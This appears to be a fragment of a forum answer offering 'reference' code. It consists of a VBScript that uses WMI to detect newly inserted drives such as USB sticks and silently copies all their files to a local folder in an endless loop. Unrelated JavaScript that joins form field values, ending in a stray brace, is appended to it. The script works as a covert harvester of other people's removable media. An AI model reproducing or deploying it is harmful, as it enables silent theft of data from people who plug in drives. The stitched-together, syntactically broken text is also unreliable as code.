参考:
strComputer = "."
set fso = createobject("scripting.filesystemobject")
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
path = objLatestEvent.DriveName & "\*.*"
fso.CopyFile path, "d:\123\"
Loop
set fso = nothing
set objWMIService = nothing
document.getElementById("ahide").value=document.getElementById("a").value+document.getElementById("b").value+document.getElementById("c").value+document.getElementById("d").value;
alert(document.getElementById("ahide").value);
}